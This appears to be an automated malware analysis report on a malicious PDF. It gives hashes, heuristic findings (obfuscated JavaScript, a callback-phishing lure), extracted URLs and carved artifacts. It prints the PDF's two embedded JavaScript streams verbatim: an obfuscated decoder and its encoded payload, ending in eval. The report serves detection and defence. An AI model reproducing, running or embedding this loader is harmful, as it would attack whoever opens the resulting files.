Malicious PDF — malware analysis report

Static analysis result for SHA-256 2bf7efcf1d6966d6…

MALICIOUS

PDF

506.4 KB First seen: 2015-09-22
MD5: 60c22d4433b23b9b54da8e91cd82ffd0 SHA-1: f40347772dcd846a34b79c3b4eae3965a71bad08 SHA-256: 2bf7efcf1d6966d6a670a15e7d9bcd81ffb0f81c6ef04ac7615b1e6613a427fb
178 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of PDF_EVAL and PDF_FROMCHARCODE suggests obfuscated JavaScript code is being executed. The SE_CALLBACK_LURE heuristic indicates the document is designed to trick users into calling a phone number, consistent with callback phishing or tech-support scams. The extracted JavaScript file, 'javascript_obj0159_001.js', likely contains the payload for this lure. The embedded URL 'http://ns.InsiderSoftware.com/fontlist/1.0/' is of unknown reputation and could be related to the malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9762

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(hzxqy);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Callback phishing phone lure medium SE_CALLBACK_LURE
    Document asks the user to call a phone number in billing, refund, subscription, fraud, or security context — consistent with callback phishing or tech-support scam patterns. Suppressed for legitimate-issuer (IRS/gov/official-form) documents that carry no urgency or charge/dispute escalation.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.InsiderSoftware.com/fontlist/1.0/ In PDF document text
    • http://d2F.QK/N/aReferenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text
    • https://www.verisign.com/repository/CPS��In PDF document text
    • https://www.verisign.comIn PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0��In PDF document text
    • https://www.verisign.com/CPS0bIn PDF document text
    • http://www.microsoft.com/truetype/0In PDF document text
    • https://www.verisign.com/repository/RPA0In PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0�In PDF document text
    • https://www.verisign.com/CPSIn PDF document text
    • https://www.verisign.com/repository/CPSIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 10

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0159_001.js pdf-javascript-stream PDF /JS object 159 at offset 0x4AE35 516 bytes
SHA-256: 93c9bd0c2c9633721c4876515b79c374bb9470d9a26e13ac2db5f5046a8e03b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function GetCode(arg){var ar=String.fromCharCode(arg,131,130).split('');var an=ar.pop();var an=ar.pop();return ar.join('');}while(krcwg.length){jrksg.push((xuaujze(krcwg.charCodeAt(0))<<(4+2))+xuaujze(krcwg.charCodeAt(1))-(500+12));krcwg=krcwg.slice(2,krcwg.length)}epcpb=ksdmbu=krcwg=0;hzxqy='';function xlbsgl1(){if(krcwg==0){ksdmbu=xuaujze(fohpaoa7.charCodeAt(epcpb++));krcwg=6;}return ((ksdmbu>>--krcwg)&0x01);}while(glasxwj8--){i=0;while(jrksg[i]<0){if(xlbsgl1())i=-jrksg[i];else i++;}hzxqy+=GetCode(jrksg[i]);}
javascript_obj0160_002.js pdf-javascript-stream PDF /JS object 160 at offset 0x4AFA9 2599 bytes
SHA-256: 630d4430db1037a125ea8f70714d59a39cb6c335d06e00d8737335d22b32651e
Preview script
First 1,000 lines of the extracted script
krcwg="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";fohpaoa7="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3LV,.ZX>K6OQ:JQCN2*Eg2**.3OZ+,EGeR;?*XK8Tc2<R*T.OeJK96+_2-TK,<-^2;O`1:O:g]._Z9K96*>2TW:K4Kh_3dNQ:LQ?,.]@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2;?*,.,OXK9BcV2U+8K*5]R:**2<[QK,<T*:Qi1:LL_G,DCAR;bEV2RR?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK3HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,4R*:J>W_3f1/K/B3_2+Ha.**,.VCc:NTJ.3jK_2RW1:PP?e.Gaf,44/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8?QZJ**:J**:J**:J**:J**:J**:J**:J**:QC@>3OC?K8Xf2=*N.34Y>K4_fc<UJ,.eQ@K4XeV3[H/,G<;B<:S/K*,W2=VU4.Z3?K8W2V3@Q4K8U`B=VN@.NT<R=3*.3ag4.OhFK8?a:KKJ+,@5cR<_Y/,8+::NVCV2>?UR=[@O,4SB>2CUJK*+=R:**2:^*?,*@KN2**.2]fXK9Z/:J/RC,**+,<-^2=`<i.Rdb:KP*T.*W-2:**2:]ffR:,_W,**+,*SO_3:^gK**,ZM-*,.+=5R<KQd,**/K6**K0A66K9Z/:J/RC,**+,CU-2<c[?2=8CG,IJ4K*5:].**,.GbLK5SH4.Vf4:M8VT.OA+:PD/B==4TK6b;:O`+4K*?R:KCIN2**@.?:*K+GER;ObG,D-T:J4*V3<bd,**/K9.*:M5QG,IJ4K*5:].**,._[]R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I]>3DaI,@WD_3PdD.,M-2=ZGV2BBUB:,]U,EGSN3P8?,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR<>XW,FfWK8S`R=4h@.Ub@K8GZR<W8].N*+,Gb?K3+52:Xh@.OjC,*1C,<5]R<<XS,/bYK8i::J+22<?Hi.N.TZKE4C,GdE:NT]U,<U22=T<5,GbG,FUK:Q,5V2@bE,GQG,4?aZQ85D.N+GK3+bZQ,?D.?]UR::*+cY7MMZK,.A602V7dHZ*I^cJcN^3ae`O^gb_e9W/K-]:UBcg2:K/^+L7h8N1.+UT***.7RM`BE]hJ*jQ[-_:0WAbP[[c:K,5P-.QB6iP282KbA^P=Dh9.22++,,*:1Lga89,.2<GJ^eBJcOPSU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf5.1.HJ`Jc1*c1.7RJ7G:**,g:a]*``***0[[c:K,@@M.HUP-.A5^M@DKG8:F:0[/]gc`PRA=NA[3VAdX0^a@E.A5^M@DKG8:h1ROc_11K,.2:M+KS^G5Od[U7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI8C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XR*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]`^gjU@fGKMg9e_7K]_ehD-`iV9M5cjY7MMZK-<";glasxwj8=2751;function xuaujze(xrynjna){if(xrynjna>92)xrynjna--;return xrynjna-42}jrksg=new Array();
icc_00_off00041b8a.icc pdf-icc-profile PDF ICC profile at offset 0x41B8A 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
font_00_sfnt_off00003bef.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x3BEF 62160 bytes
SHA-256: 5f96e1e90c4ef56487c91d02c05141dca0967f8e2bbd5d67be6c4f381f0afa79
font_01_sfnt_off0000d045.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xD045 71216 bytes
SHA-256: b661c2e877dd6b7625208ae148d736aedb24eda2d4f014262cbb7f958f538ca0
font_02_sfnt_off0001a0a0.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1A0A0 11156 bytes
SHA-256: 8b62f203a4ab5c2ac76368029c584b4fa12fffc17f3b6e4e43a9997416807d21
font_03_sfnt_off0001c051.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1C051 37232 bytes
SHA-256: d375c22ace40f0b973d7308d85023b2e0e49d40dc51da45552d116868346475e
font_04_sfnt_off00022ea8.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x22EA8 46764 bytes
SHA-256: afeb9e1e920aae3aca3f295f1bbccba46b16423dac14b1b5fde4b661de9198cc
font_05_sfnt_off0002b723.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2B723 22628 bytes
SHA-256: 95592346b00d039686aa3d7e22eae3d52b011e7e842a5c123f73e89ea766cd35
font_06_sfnt_off000377bc.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x377BC 32640 bytes
SHA-256: 6cf6df6beee88aa138f821122d0c1969b348cebe09cafe5b5f6a7eb8c27107a0

Open this report in the interactive analyzer, or submit your own file for analysis.